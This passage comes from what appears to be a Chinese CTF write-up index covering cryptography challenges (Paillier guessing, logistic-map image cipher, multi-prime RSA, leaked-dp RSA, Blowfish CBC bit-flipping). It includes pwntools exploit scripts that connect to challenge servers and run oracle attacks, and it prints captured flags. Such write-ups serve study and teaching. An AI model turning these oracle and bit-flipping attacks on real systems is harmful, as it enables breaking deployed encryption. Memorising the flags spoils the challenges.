\u7136\u540e\u53ea\u8981\u5148\u9a8c\u77e5\u8bc6\u8db3\u591f\u591a\uff0c\u90a3\u5c31\u80fd\u4fdd\u8bc1\u5f88\u5927\u6982\u7387\u731c\u5bf9\u3002\u731c\u6d4b\u7b54\u6848\u4ee3\u7801\u5982\u4e0b\uff1a
from hashlib import sha256\nimport string\nimport itertools\nfrom pwn import *\nfrom Crypto.Util.number import *\nimport random\n\ndef enc(n, g, m):\n while 1:\n r = random.randint(2, n - 1)\n if GCD(r, n) == 1:\n break\n c = (pow(g, m, n ** 2) * pow(r, n, n ** 2)) % (n ** 2)\n return c\n\nwith open('gao_log_3', 'a') as f:\n while (True):\n conn = remote('47.104.85.225', 57811)\n\n # SHA-256(?+hUWmo9BJ34LI) == 3919fa0f116d1a87c97d98dd43e08f77b090df5c88b1417c1c7e2c006a200aef\n s = conn.recvline().strip().decode()\n s2 = s[10:22]\n ans = s[-64:]\n\n for i in itertools.product(string.ascii_letters + string.digits, repeat=4):\n s1 = ''.join(i)\n ss = s1 + s2\n if (sha256(ss.encode()).hexdigest() == ans):\n conn.sendline(s1)\n break\n\n while (True):\n conn.recvuntil('n = ')\n n = conn.recvline()\n n = int(n)\n\n conn.recvuntil('g = ')\n g = conn.recvline()\n g = int(g)\n\n conn.sendlineafter('Please give me one decimal ciphertext.', '2')\n conn.recvuntil('This is the corresponding plaintext.\\n')\n mm = conn.recvline()\n mm = int(mm)\n\n conn.sendlineafter('Give me m0.', '40343')\n conn.sendlineafter('Give me m1.', '52051')\n conn.recvuntil('This is a ciphertext.\\n')\n c = conn.recvline()\n c = int(c)\n\n mm = 2\n c2 = enc(n, g, mm)\n cc = (c * c2) % (n ** 2)\n conn.sendlineafter('Please give me one decimal ciphertext', str(cc))\n conn.recvuntil('This is the corresponding plaintext.\\n')\n m2 = conn.recvline()\n m2 = int(m2)\n\n conn.sendlineafter('m1 -> c1)?', '0')\n s = conn.recvuntil('!')\n if (b'Sorry') in s:\n f.write(f'{m2}, 1\\n')\n conn.close()\n break\n else:\n f.write(f'{m2}, 0\\n')\n
\u5229\u7528\u731c\u6d4b\u7b54\u6848\u6240\u5f97\u7684\u77e5\u8bc6\u5e93\u8fdb\u884c\u4ea4\u4e92\u7684\u4ee3\u7801\u5982\u4e0b\uff1a
from hashlib import sha256\nimport string\nimport itertools\nimport random\nfrom pwn import *\nfrom Crypto.Util.number import *\n\ndef enc(n, g, m):\n while 1:\n r = random.randint(2, n - 1)\n if GCD(r, n) == 1:\n break\n c = (pow(g, m, n ** 2) * pow(r, n, n ** 2)) % (n ** 2)\n return c\n\nm2ans = {}\ncnt = 0\nfor i in range(1, 5):\n with open(f'gao_log_{i}', 'r') as f:\n s = f.read()\n\n\n for sline in s.splitlines():\n m, ans = map(int, sline.split(','))\n m2ans[m] = ans\n cnt += 1\n\nprint(len(m2ans))\nconn = remote('47.104.85.225', 57811)\n# SHA-256(?+hUWmo9BJ34LI) == 3919fa0f116d1a87c97d98dd43e08f77b090df5c88b1417c1c7e2c006a200aef\ns = conn.recvline().strip().decode()\ns2 = s[10:22]\nans = s[-64:]\n\nfor i in itertools.product(string.ascii_letters + string.digits, repeat=4):\n s1 = ''.join(i)\n ss = s1 + s2\n if (sha256(ss.encode()).hexdigest() == ans):\n conn.sendline(s1)\n break\nfor i in range(32):\n conn.recvuntil('n = ')\n n = conn.recvline()\n n = int(n)\n\n conn.recvuntil('g = ')\n g = conn.recvline()\n g = int(g)\n\n conn.sendlineafter('Please give me one decimal ciphertext.', '2')\n conn.recvuntil('This is the corresponding plaintext.\\n')\n mm = conn.recvline()\n mm = int(mm)\n\n conn.sendlineafter('Give me m0.', '40343')\n conn.sendlineafter('Give me m1.', '52051')\n conn.recvuntil('This is a ciphertext.\\n')\n c = conn.recvline()\n c = int(c)\n\n mm = 2\n c2 = enc(n, g, mm)\n cc = (c * c2) % (n ** 2)\n conn.sendlineafter('Please give me one decimal ciphertext', str(cc))\n conn.recvuntil('This is the corresponding plaintext.\\n')\n m2 = conn.recvline()\n m2 = int(m2)\n if (m2 in m2ans):\n print('Find')\n conn.sendlineafter('m1 -> c1)?', str(m2ans[m2]))\n else:\n print('Guess')\n conn.sendlineafter('m1 -> c1)?', '0')\n s = conn.recvuntil('!')\n if (b'Sorry') in s:\n print(f'GG {i}')\n conn.close()\n break\n\nconn.interactive()\n
"},{"location":"Writeup/Cryptography/Guess/#flag","title":"Flag","text":"flag{e87fdfb6-8007-4e1c-861f-5bde3c8badb3}\n
"},{"location":"Writeup/Cryptography/Guess/#reference","title":"Reference","text":"Writeup from https://zhuanlan.zhihu.com/p/402690414
"},{"location":"Writeup/Cryptography/MedicalImage/","title":"MedicalImage","text":"Category: Cryptography
Source: \u5dc5\u5cf0\u6781\u5ba2\u8d5b 2021
Author: unknown
Score: 25
"},{"location":"Writeup/Cryptography/MedicalImage/#solution","title":"Solution","text":"\u4e00\u4e2a\u56fe\u7247\u52a0\u5bc6\u811a\u672c, \u51fd\u6570f(x)
\u88ab\u9690\u85cf\u4e86, \u4f46\u7ed9\u4e86\u63d0\u793a, \u662flogistic map
, (\u5728b\u7ad9\u770b\u4e0b\u89c6\u9891, \u6570\u5b66\u771f\u7684\u597d\u795e\u5947\u554a).\u800c\u4e14\u53c2\u6570rr\u662f\u6700\u5927\u5408\u6cd5\u503c, \u4e5f\u5c31\u662f44, \u90a3\u4e48\u51fd\u6570f(x)
\u4e3a
f(x)=4x(1\u2212x)f(x)=4x(1\u2212x)
\u7136\u540e\u5c31\u662f\u5bf9\u7740\u52a0\u5bc6\u6d41\u7a0b\u5199\u89e3\u5bc6\u4e86\u2026. \u6ca1\u6709\u5565\u7279\u522b\u7684 \u9006\u7740\u52a0\u5bc6\u8fc7\u7a0b\u5199\u89e3\u5bc6\u5c31\u884c, p0,c0\u5c31\u90a3\u51e0\u4e2a\u503c\u7206\u7834\u5c31\u884c, \u4e00\u5f00\u59cb\u968f\u4fbf\u62ff101,201\u8bd5\u4e86\u4e0b\u2026\u76f4\u63a5\u5bf9\u4e86
from decimal import *\nfrom PIL import Image\nimport numpy as np\nfrom time import time\ngetcontext().prec = 20\n\n\nR = Decimal(4)\nr1 = Decimal('0.478706063089473894123')\nr2 = Decimal('0.613494245341234672318')\nr3 = Decimal('0.946365754637812381837')\nconst = 10 ** 14\nim = Image.open(\n r'flag_enc.bmp'\n)\nsize = im.size\nw,h = size\nim = np.array(im)\n\n\n\ndef f(x):\n return Decimal(4 * x * (1 - x))\n\nfor i in range(200):\n r1 = f(r1)\n r2 = f(r2)\n r3 = f(r3)\n\nS = time()\np0 = 101\nc0 = 201\nfor x in range(w):\n for y in range(h):\n k = int(round(const*r3))%256\n k = bin(k)[2:].ljust(8,'0')\n k = int(k[p0%8:]+k[:p0%8],2)\n r3 = f(r3)\n m0 = ((k ^ im[y,x] ^ c0 ) - k) % 256\n c0 = im[y,x]\n p0 = m0\n im[y,x] = m0\narr = []\nfor x in range(w):\n for y in range(h):\n x1 = int(round(const*r1))%w\n y1 = int(round(const*r2))%h\n arr += [(x,y,x1,y1)]\n r1 = f(r1)\n r2 = f(r2)\nfor z in arr[::-1]:\n x,y,x1,y1 = z\n tmp = im[y,x]\n im[y,x] = im[y1,x1]\n im[y1,x1] = tmp \nm = Image.new('P', size,'white')\npixels = m.load()\nfor i in range(m.size[0]):\n for j in range(m.size[1]):\n pixels[i,j] = (int(im[j][i]))\nm.save(r'flag.bmp')\nprint(time()-S)\n
"},{"location":"Writeup/Cryptography/RSAssss/","title":"RSAssss","text":"Category: Cryptography
Source: \u7965\u4e91\u676f2020
Author: unknown
Score: 25
"},{"location":"Writeup/Cryptography/RSAssss/#description","title":"Description","text":"more factors,more strong
"},{"location":"Writeup/Cryptography/RSAssss/#solution","title":"Solution","text":"from Crypto.Util.number import *\nfrom gmpy2 import next_prime\n\n\np = getPrime(512)\nq = getPrime(512)\n\n\nn = p * q * next_prime(p) * next_prime(q)\ne = 0x10001\n\n\nflag = b\"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}\"\ncipher = pow(bytes_to_long(flag), e, n)\n\n\nprint(n, cipher)\n\n\n#8030860507195481656424331455231443135773524476536419534745106637165762909478292141556846892146553555609301914884176422322286739546193682236355823149096731058044933046552926707682168435727800175783373045726692093694148718521610590523718813096895883533245331244650675812406540694948121258394822022998773233400623162137949381772195351339548977422564546054188918542382088471666795842185019002025083543162991739309935972705871943787733784491735500905013651061284020447578230135075211268405413254368439549259917312445348808412659422810647972872286215701325216318641985498202349281374905892279894612835009186944143298761257\n#330412463971933434999766363211057930667393277770584064857577467142742413428768098831412931259336108760624381952829861013179707826235130739683198539755539064015139113863343195174674815661046358247964556177919498180612989800987651789945084087556967597676515560844679920369992744883500475670715128104485967669553337375579827389250319475394899794765310069084188092544505917549431419860547502393956775040990721765429143061510225852399839423143679690263507799582947734731675473993898081429330428931841744349301970407316458550521765857021498915017512375703812538099605076157202198657393415547064109167866445108006571926\n
\u56db\u7d20\u6570\u7684RSA\u653b\u51fb\uff0c\u66fe\u7ecf\u8003\u8fc7\uff0c\u76f4\u63a5\u4e0a\u811a\u672c
# -*- coding: utf-8 -*-\n\n\nfrom Crypto.Util.number import GCD, inverse, long_to_bytes\nimport gmpy2\nn = 8030860507195481656424331455231443135773524476536419534745106637165762909478292141556846892146553555609301914884176422322286739546193682236355823149096731058044933046552926707682168435727800175783373045726692093694148718521610590523718813096895883533245331244650675812406540694948121258394822022998773233400623162137949381772195351339548977422564546054188918542382088471666795842185019002025083543162991739309935972705871943787733784491735500905013651061284020447578230135075211268405413254368439549259917312445348808412659422810647972872286215701325216318641985498202349281374905892279894612835009186944143298761257 \nc = 3304124639719334349997663632110579306673932777705840648575774671427424134287680988314129312593361087606243819528298610131797078262351307396831985397555390640151391138633431951746748156610463582479645561779194981806129898009876517899450840875569675976765155608446799203699927448835004756707151281044859676695533373755798273892503194753948997947653100690841880925445059175494314198605475023939567750409907217654291430615102258523998394231436796902635077995829477347316754739938980814293304289318417443493019704073164585505217658570214989150175123757038125380996050761572021986573934155470641091678664451080065719261207\ne = 0x10001\ndef fermat_factorization(N):\n Factor = []\n gmpy2.get_context().precision = 2048\n a = int(gmpy2.sqrt(N))\n a2 = a * a\n b2 = gmpy2.sub(a2, N)\n while True:\n a += 1\n b2 = a * a - N\n if gmpy2.is_square(b2):\n b2 = gmpy2.mpz(b2)\n gmpy2.get_context().precision = 2048\n b = int(gmpy2.sqrt(b2))\n Factor.append([a + b, a - b])\n if len(Factor) == 2:\n break\n return Factor\n\n\nif __name__ == \"__main__\":\n factor = fermat_factorization(n)\n [X1, Y1] = factor[0]\n [X2, Y2] = factor[1]\n assert X1 * Y1 == n\n assert X2 * Y2 == n\n p1 = gmpy2.mpz(GCD(X1, X2))\n p2 = gmpy2.mpz(X1 / p1)\n q1 = gmpy2.mpz(GCD(Y1, Y2))\n q2 = gmpy2.mpz(Y1 / q1)\n assert p1 * p2 * q1 * q2 == n\n phi = gmpy2.mpz(0)\n phi = (p1 - 1) * (q1 - 1) * (p2 - 1) * (q2 - 1)\n d = inverse(e, phi)\n flag = long_to_bytes(pow(c, d, n))\n print(flag)\n
"},{"location":"Writeup/Cryptography/RSAssss/#flag","title":"Flag","text":"flag{2bef1a3e-5598-404e-b022-f593a230ce58}
"},{"location":"Writeup/Cryptography/RSAssss/#reference","title":"Reference","text":"Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw
"},{"location":"Writeup/Cryptography/Random_RSA/","title":"Random_RSA","text":"Category: Cryptography
Source: \u7965\u4e91\u676f2021
Author: unknown
Score: 10
"},{"location":"Writeup/Cryptography/Random_RSA/#description","title":"Description","text":"\u4e00\u628a\u68ad\uff0c\u597d\u50cf\u4e0d\u884c\u54e6\u3002
Random_RSA.zip
"},{"location":"Writeup/Cryptography/Random_RSA/#_1","title":"\u9898\u76ee\u63cf\u8ff0","text":"\u9898\u76ee\u57fa\u4e8eRSA\uff0c\u3002\u9898\u76ee\u7ed9\u51faflag\u52a0\u5bc6\u7684\u5bc6\u6587\u3002
\u9898\u76ee\u7ed9\u51fa\u4e86\u5173\u4e8e\u7684\u63d0\u793a\uff1a\u9898\u76ee\u7ed9\u4e86\u968f\u673a\u79cd\u5b50\u5217\u8868\u3002\u5bf9\u4e8e\u6bcf\u4e2a\u968f\u673a\u79cd\u5b50\uff0c\u9898\u76ee\u4f1a\u57fa\u4e8e\u8fd9\u4e2a\u968f\u673a\u79cd\u5b50\u751f\u6210\u4e00\u4e2a\u968f\u673a\u6570\u5217\u8868\uff0c\u6bcf\u6b21\u90fd\u4ece\u5217\u8868\u91cc\u9762\u6307\u5b9a\u4f4d\u7f6e\u62a0\u6389\u4e00\u4e2a\u6570\uff0c\u5e76\u4e14\u7ed9\u51fa\u5176\u4ed6\u6570\u7ec4\u6210\u7684\u5217\u8868\uff1b\u7528\u88ab\u62a0\u6389\u90a3\u4e2a\u6570\u4f5c\u4e3a\u6d41\u5bc6\u94a5\uff0c\u4e0e\u7684\u5341\u8fdb\u5236\u8868\u793a\u5b57\u7b26\u4e32\u5bf9\u5e94\u5b57\u8282\u8fdb\u884c\u5f02\u6216\uff0c\u5f97\u5230\u4e00\u4e2a\u5bc6\u6587\u3002
"},{"location":"Writeup/Cryptography/Random_RSA/#_2","title":"\u6211\u7684\u89e3\u7b54","text":"\u9996\u5148\u6211\u4eec\u5148\u5c1d\u8bd5\u641e\u51fa\uff1a\u6211\u4eec\u901a\u8fc7\u8bbe\u968f\u673a\u79cd\u5b50\uff0c\u5f97\u5230\u5217\u8868\u3002\u53d1\u73b0\u53ea\u6709python 2\u751f\u6210\u7684\u5217\u8868\u624d\u80fd\u5bf9\u5f97\u4e0a\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u7528python 2\u8dd1\u7a0b\u5e8f\uff0c\u5e76\u751f\u6210\u6b63\u786e\u7684\u6d41\u5bc6\u94a5\u3002\u7136\u540e\u5c31\u662f\u5f02\u6216\u5f97\u5230\u3002
\u4e4b\u540e\u5c31\u662f\u6839\u636e\u679a\u4e3e\uff0c\u5c1d\u8bd5\u662f\u5426\u4e0d\u4e3a1\u3002\u82e5\u662f\u7684\u8bdd\uff0c\u90a3\u8fd9\u4e2a\u503c\u5c31\u662f\u3002\u8fdb\u800c\u5f97\u5230\u7684\u5206\u89e3\u5e76\u5bf9flag\u7684\u5bc6\u6587\u8fdb\u884c\u89e3\u5bc6\u3002\u5f97\u5230\u7684\u4ee3\u7801\u5982\u4e0b\uff1a
import random\nc2 = '[[58, 53, 122] [145, 124, 244] [5, 19, 192] [255, 23, 64] [57, 113, 194] [246, 205, 162] [112, 87, 95] [215, 147, 105] [16, 131, 38] [234, 36, 46] [68, 61, 146] [148, 61, 9] [139, 77, 32] [96, 56, 160] [121, 76, 17] [114, 246, 92] [178, 206, 60] [168, 147, 26] [168, 41, 68] [24, 93, 84] [175, 43, 88] [147, 97, 153] [42, 94, 45] [150, 103, 127] [68, 163, 62] [165, 37, 89] [219, 248, 59] [241, 182, 8] [140, 211, 146] [88, 226, 2] [48, 150, 56] [87, 109, 255] [227, 216, 65] [23, 190, 10] [5, 25, 64] [6, 12, 124] [53, 113, 124] [255, 192, 158] [61, 239, 5] [62, 108, 86] [123, 44, 64] [195, 192, 30] [30, 82, 95] [56, 178, 165] [68, 77, 239] [106, 247, 226] [17, 46, 114] [91, 71, 156] [157, 43, 182] [146, 6, 42] [148, 143, 161] [108, 33, 139] [139, 169, 157] [71, 140, 25] [28, 153, 26] [241, 221, 235] [28, 131, 141] [159, 111, 184] [47, 206, 11] [220, 152, 157] [41, 213, 97] [4, 220, 10] [77, 13, 248] [94, 140, 110] [25, 250, 226] [218, 102, 109] [189, 238, 66] [91, 18, 131] [23, 239, 190] [159, 33, 72] [183, 78, 208] [209, 213, 101] [111, 50, 220] [166, 104, 233] [170, 144, 10] [187, 87, 175] [195, 59, 104] [165, 179, 179] [99, 247, 153] [195, 61, 100] [223, 159, 165] [230, 93, 184] [87, 28, 35] [35, 122, 38] [158, 188, 163] [229, 192, 222] [12, 12, 192] [207, 95, 224] [127, 113, 137] [22, 114, 143] [13, 45, 144] [70, 140, 211] [57, 101, 42] [132, 62, 129] [40, 128, 124] [1, 132, 161] [164, 33, 133] [252, 201, 32] [8, 18, 247] [1, 88, 55] [201, 135, 186] [101, 254, 125] [236, 196, 39] [148, 24, 103] [101, 29, 253] [97, 156, 64] [90, 103, 91] [50, 48, 80] [206, 22, 93] [11, 114, 174] [61, 132, 247] [215, 32, 232] [95, 128, 90] [57, 35, 228] [163, 143, 107] [178, 250, 28] [64, 107, 225] [106, 115, 207] [85, 134, 21] [118, 201, 76] [234, 34, 22] [241, 236, 122] [111, 185, 127] [1, 26, 164] [254, 57, 117] [243, 27, 32] [161, 88, 80] [50, 165, 93] [87, 182, 216] [184, 159, 63] [167, 166, 123] [37, 78, 33] [186, 81, 58] [48, 3, 239] [70, 186, 13] [56, 108, 178] [54, 55, 235] [105, 180, 105] [16, 194, 98] [136, 11, 41] [18, 203, 79] [185, 114, 170] [148, 181, 223] [118, 57, 160] [23, 250, 181] [235, 219, 228] [44, 151, 38] [185, 224, 134] [42, 162, 122] [3, 9, 158] [129, 245, 2] [66, 241, 92] [80, 124, 36]]'\nres2 = [55, 5, 183, 192, 103, 32, 211, 116, 102, 120, 118, 54, 120, 145, 185, 254, 77, 144, 70, 54, 193, 73, 64, 0, 79, 244, 190, 23, 215, 187, 53, 176, 27, 138, 42, 89, 158, 254, 159, 133, 78, 11, 155, 163, 145, 248, 14, 179, 23, 226, 220, 201, 5, 71, 241, 195, 75, 191, 237, 108, 141, 141, 185, 76, 7, 113, 191, 48, 135, 139, 100, 83, 212, 242, 21, 143, 255, 164, 146, 119, 173, 255, 140, 193, 173, 2, 224, 205, 68, 10, 77, 180, 24, 23, 196, 205, 108, 28, 243, 80, 140, 4, 98, 76, 217, 70, 208, 202, 78, 177, 124, 10, 168, 165, 223, 105, 157, 152, 48, 152, 51, 133, 190, 202, 136, 204, 44, 33, 58, 4, 196, 219, 71, 150, 68, 162, 175, 218, 173, 19, 201, 100, 100, 85, 201, 24, 59, 186, 46, 130, 147, 219, 22, 81]\nseeds2 = [4827, 9522, 552, 880, 7467, 7742, 9425, 4803, 6146, 4366, 1126, 4707, 1138, 2367, 1081, 5577, 4592, 5897, 4565, 2012, 2700, 1331, 9638, 7741, 50, 824, 8321, 7411, 6145, 1271, 7637, 5481, 8474, 2085, 2421, 590, 7733, 9427, 3278, 5361, 1284, 2280, 7001, 8573, 5494, 7431, 2765, 827, 102, 1419, 6528, 735, 5653, 109, 4158, 5877, 5975, 1527, 3027, 9776, 5263, 5211, 1293, 5976, 7759, 3268, 1893, 6546, 4684, 419, 8334, 7621, 1649, 6840, 2975, 8605, 5714, 2709, 1109, 358, 2858, 6868, 2442, 8431, 8316, 5446, 9356, 2817, 2941, 3177, 7388, 4149, 4634, 4316, 5377, 4327, 1774, 6613, 5728, 1751, 8478, 3132, 4680, 3308, 9769, 8341, 1627, 3501, 1046, 2609, 7190, 5706, 3627, 8867, 2458, 607, 642, 5436, 6355, 6326, 1481, 9887, 205, 5511, 537, 8576, 6376, 3619, 6609, 8473, 2139, 3889, 1309, 9878, 2182, 8572, 9275, 5235, 6989, 6592, 4618, 7883, 5702, 3999, 925, 2419, 7838, 3073, 488, 21, 3280, 9915, 3672, 579]\n\nc2 = eval(c2.replace('] [', '], ['))\nmyc = []\nfor i in range(0, len(seeds2)):\n random.seed(seeds2[i])\n rands = []\n for j in range(0,4):\n rands.append(random.randint(0,255))\n myc.append(rands[i % 4])\n\ndp = [x ^ y for x, y in zip(myc, res2)]\ndp = int(bytearray(dp))\n\nprint(dp)\n
\u5f97\u5230\u7684\u5206\u89e3\u8fdb\u800c\u89e3\u5bc6\u7684\u4ee3\u7801\u5982\u4e0b\uff1a
from Crypto.Util.number import *\n\nn=81196282992606113591233615204680597645208562279327854026981376917977843644855180528227037752692498558370026353244981467900057157997462760732019372185955846507977456657760125682125104309241802108853618468491463326268016450119817181368743376919334016359137566652069490881871670703767378496685419790016705210391\nct=61505256223993349534474550877787675500827332878941621261477860880689799960938202020614342208518869582019307850789493701589309453566095881294166336673487909221860641809622524813959284722285069755310890972255545436989082654705098907006694780949725756312169019688455553997031840488852954588581160550377081811151\n\ndp = 5372007426161196154405640504110736659190183194052966723076041266610893158678092845450232508793279585163304918807656946147575280063208168816457346755227057\n\ne=0x10001\n\nfor k in range(1, 100000):\n p = (e * dp - 1) // k + 1\n if (n % p == 0):\n break\n\nq = n // p\nd = inverse(e, (p-1)*(q-1))\n\nm = pow(ct, d, n)\nprint(long_to_bytes(m))\n
"},{"location":"Writeup/Cryptography/Random_RSA/#flag","title":"Flag","text":"flag{74281db3-c6f0-e59a-4da6-39b8c71250fe}\n
"},{"location":"Writeup/Cryptography/Random_RSA/#reference","title":"Reference","text":"Writeup from https://zhuanlan.zhihu.com/p/402690414
"},{"location":"Writeup/Cryptography/blowfishgame/","title":"blowfishgame","text":"Category: Cryptography
Source: \u7965\u4e91\u676f2020
Author: unknown
Score: 35
"},{"location":"Writeup/Cryptography/blowfishgame/#description","title":"Description","text":""},{"location":"Writeup/Cryptography/blowfishgame/#solution","title":"Solution","text":"CBC \u7ffb\u8f6c\u653b\u51fb\u4f7f message \u524d 8 \u5b57\u8282\u4e3a get_flag\uff0c\u7136\u540e\u5c31\u662f\u7b80\u5355\u7684\u9010\u5b57\u8282\u7206\u7834\uff0c\u6211\u5168\u90fd\u9632\u51fa\u53bb\u4e86\uff0c\u9632\u51fa\u53bb\u4e86\u554a\u3002
# -*- coding: utf-8 -*-\n# @Project: Hello Python!\n# @File : exp\n# @Author : Nonuplebroken <birkenwald.cn>\n# @Date : 2020-11-22\nfrom pwn import *\nimport string\nimport itertools\nfrom hashlib import sha384\nimport re\nimport base64\n\n\n\ndef PoW(part, hash_value):\n alphabet = string.ascii_letters + string.digits\n for x in itertools.product(alphabet, repeat=3):\n nonce = ''.join(x)\n if sha384(nonce + part).hexdigest() == hash_value:\n return nonce\n\n\ndef xor(a, b):\n assert len(a) == len(b)\n return ''.join([chr(ord(a[i])^ord(b[i])) for i in range(len(a))])\n\n\nsh = remote('8.131.69.237', 15846)\n\ns1 = sh.recvuntil('Give me XXX:')\nre_res = re.search(r'sha384\\(XXX\\+([a-zA-Z0-9]{17})\\) == ([0-9a-f]{96})', s1)\npart = re_res.group(1)\nhash_value = re_res.group(2)\nprint 'part:', part\nprint 'hash_value:', hash_value\nnonce = PoW(part, hash_value)\nprint 'nonce:', nonce\nsh.sendline(nonce)\n\n_ = [sh.recvline() for i in range(8)]\n\ns1 = sh.recvline()\ns1 = base64.b64decode(s1)\niv, c = s1[:8], s1[8:]\nprint len(iv)\nprint len(c)\nd_c1 = xor('Blowfish', iv)\nnew_iv = xor(d_c1, 'get_flag')\nget_flag = base64.b64encode(new_iv + c)\nprint get_flag\n\nflag = ''\nalphabet = 'flag{}-0123456789abcdef'\n# alphabet = string.printable\nfor i in range(42):\n sh.sendline(get_flag)\n target_m = ('x' * (47 - i))\n sh.sendline(target_m)\n target_c = base64.b64decode(sh.recvline())\n for x in alphabet:\n sh.sendline(get_flag)\n test_m = ('x' * (47 - i)) + flag + x\n sh.sendline(test_m)\n test_c = base64.b64decode(sh.recvline())\n if test_c[:48] == target_c[:48]:\n flag += x\n print '[%02d/42] %s' % (i+1, flag)\n break\nsh.interactive()\n
"},{"location":"Writeup/Cryptography/blowfishgame/#flag","title":"Flag","text":"flag{ba524422-7769-4d00-bd4d-6d6946c173ce}
"},{"location":"Writeup/Cryptography/blowfishgame/#reference","title":"Reference","text":"Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw
"},{"location":"Writeup/Cryptography/more_calc/","title":"more_calc","text":"Category: Cryptography
Source: \u7965\u4e91\u676f2020
Author: unknown
Score: 25
"},{"location":"Writeup/Cryptography/more_calc/#description","title":"Description","text":"maybe u need more cpu
"},{"location":"Writeup/Cryptography/more_calc/#solution","title":"Solution","text":"import gmpy2\nfrom Crypto.Util.number import *\n\n\nflag = b\"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}\"\n\n\np = getStrongPrime(2048)\nfor i in range(1, (p+1)//2):\n s += pow(i, p-2, p)\ns = s % p\nq = gmpy2.next_prime(s)\nn = p*q\ne = 0x10001\nc = pow(bytes_to_long(flag), e, n)\nprint(p)\nprint(c)\n#27405107041753266489145388621858169511872996622765267064868542117269875531364939896671662734188734825462948115530667205007939029215517180761866791579330410449202307248373229224662232822180397215721163369151115019770596528704719472424551024516928606584975793350814943997731939996459959720826025110179216477709373849945411483731524831284895024319654509286305913312306154387754998813276562173335189450448233216133842189148761197948559529960144453513191372254902031168755165124218783504740834442379363311489108732216051566953498279198537794620521800773917228002402970358087033504897205021881295154046656335865303621793069\n#35055918683748883282174784323651813560520737603185800227424500428762264933021511381871995418539707283801414497303232960090541986190867832897131815320508500774326925395739528242032566313216102210036548100374594081897428098804503420454038574457280610255242042832626554192534670284369336699175346822030007088865173250252079700270724860427575514471342164997149244044205247072315311115645755855836214700200464613652201134426101746190195358346246762242881016710707928119020973125199597600335220176686188732073999025860155060600538887296782517962617671450347555788381054344555539001456268680189452831160062315698482986474322296387716709989292671747978922668181058489406663507675599642320338049377613048817085979874567772781052867215035033348050642450667612710852648837001109914769887507004392552421783737965416800917979813137835262317794775319294801257483177741372991005066875900770459644762548438474388076655842822437141772648037236281057239552272508379892613346840960049192531743799845858272389712078645821963027561694961956409973354276629777068204456160534409039477757097372521171307620184694243888389707840806777932547158990704118642378158004690358831695861544319681913385236756504946707671037639508589887549565323717819837942112908652\n
\u60f3\u6c42q\uff0c\u5f97\u5148\u6c42s\uff0c\u53c8\u56e0\u4e3as\u662f pow(i, p-2, p) \u7684\u7d2f\u548c( i \u4ece1\u5230 (p+1)//2 )\uff0c\u53ef\u4ee5\u8d39\u9a6c\u5c0f\u5b9a\u7406\u6c42p \u548c (p+1)//2 -1 \u6c42\u9006\u5143
# -*- coding: utf-8 -*-\n# @Project: Hello Python!\n# @File : exp\n# @Author : Tr0jAn <Tr0jAn@birkenwald.cn>\n# @Date : 2020-11-22\nimport gmpy2\nfrom Crypto.Util.number import long_to_bytes\np = 27405107041753266489145388621858169511872996622765267064868542117269875531364939896671662734188734825462948115530667205007939029215517180761866791579330410449202307248373229224662232822180397215721163369151115019770596528704719472424551024516928606584975793350814943997731939996459959720826025110179216477709373849945411483731524831284895024319654509286305913312306154387754998813276562173335189450448233216133842189148761197948559529960144453513191372254902031168755165124218783504740834442379363311489108732216051566953498279198537794620521800773917228002402970358087033504897205021881295154046656335865303621793069\ns = gmpy2.invert(p, (p+1)//2-1)\ns = s % p\nq = gmpy2.next_prime(s)\ne = 0x10001\nphi = (p - 1) * (q - 1)\nd = gmpy2.invert(e, phi)\nn = p*q\nc = 350559186837488832821747843236518135605207376031858002274245004287622649330215113818719954185397072838014144973032329600905419861908678328971318153205085007743269253957395282420325663132161022100365481003745940818974280988045034204540385744572806102552420428326265541925346702843693366991753468220300070888651732502520797002707248604275755144713421649971492440442052470723153111156457558558362147002004646136522011344261017461901953583462467622428810167107079281190209731251995976003352201766861887320739990258601550606005388872967825179626176714503475557883810543445555390014562686801894528311600623156984829864743222963877167099892926717479789226681810584894066635076755996423203380493776130488170859798745677727810528672150350333480506424506676127108526488370011099147698875070043925524217837379654168009179798131378352623177947753192948012574831777413729910050668759007704596447625484384743880766558428224371417726480372362810572395522725083798926133468409600491925317437998458582723897120786458219630275616949619564099733542766297770682044561605344090394777570973725211713076201846942438883897078408067779325471589907041186423781580046903588316958615443196819133852367565049467076710376395085898875495653237178198379421129086523\nm = pow(c, d, n)\nprint(long_to_bytes(m))\n
"},{"location":"Writeup/Cryptography/more_calc/#flag","title":"Flag","text":"flag{3d7f8da9-ee79-43c0-8535-6af524236ca1}
"},{"location":"Writeup/Cryptography/more_calc/#reference","title":"Reference","text":"Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw
"},{"location":"Writeup/Cryptography/myRSA/","title":"myRSA","text":"Category: Cryptography
Source: \u7965\u4e91\u676f2021
Author: unknown
Score: 15
"},{"location":"Writeup/Cryptography/myRSA/#description","title":"Description","text":"\u6211\u7684\u7b2c\u4e00\u6b21\u5bc6\u7801\u5b66\u5bfc\u8bba\u4f5c\u4e1a, \u53c2\u6570\u7684\u751f\u6210\u5927\u5bb6\u89c9\u5f97\u600e\u6837\u5462\uff1fnc 0.cloud.chals.io 33723
myRSA.zip
"},{"location":"Writeup/Cryptography/myRSA/#_1","title":"\u9898\u76ee\u63cf\u8ff0","text":"\u8fd9\u9898oracle\u7b49\u5f88\u4e45\u624d\u80fd\u751f\u6210\u6570\uff08\u5f71\u54cd\u4e86\u6211\u62a2\u4e00\u8840\u7684\u901f\u5ea6\uff09\u9700\u8981\u8010\u5fc3\u7b49\u5f85\u3002
\u9898\u76ee\u57fa\u4e8eRSA\uff0c\u4e3a1024\u4f4d\u6570\uff0c\uff0c\u52a0\u5bc6\u8fc7\u7a0b\u4e3a
\u5927\u6982\u4e3a1024\u4f4d\u6570
\u9898\u76ee\u7ed9\u51fa\u548cflag\u7684\u5bc6\u6587\u3002\u5e76\u4e14\u6211\u4eec\u53ef\u4ee5\u8f93\u5165\u660e\u6587\u5f97\u5230\u5bf9\u5e94\u7684\u5bc6\u6587\u3002
"},{"location":"Writeup/Cryptography/myRSA/#_2","title":"\u6211\u7684\u89e3\u7b54","text":"\u6ce8\u610f\u5230
\u4e5f\u5c31\u662f
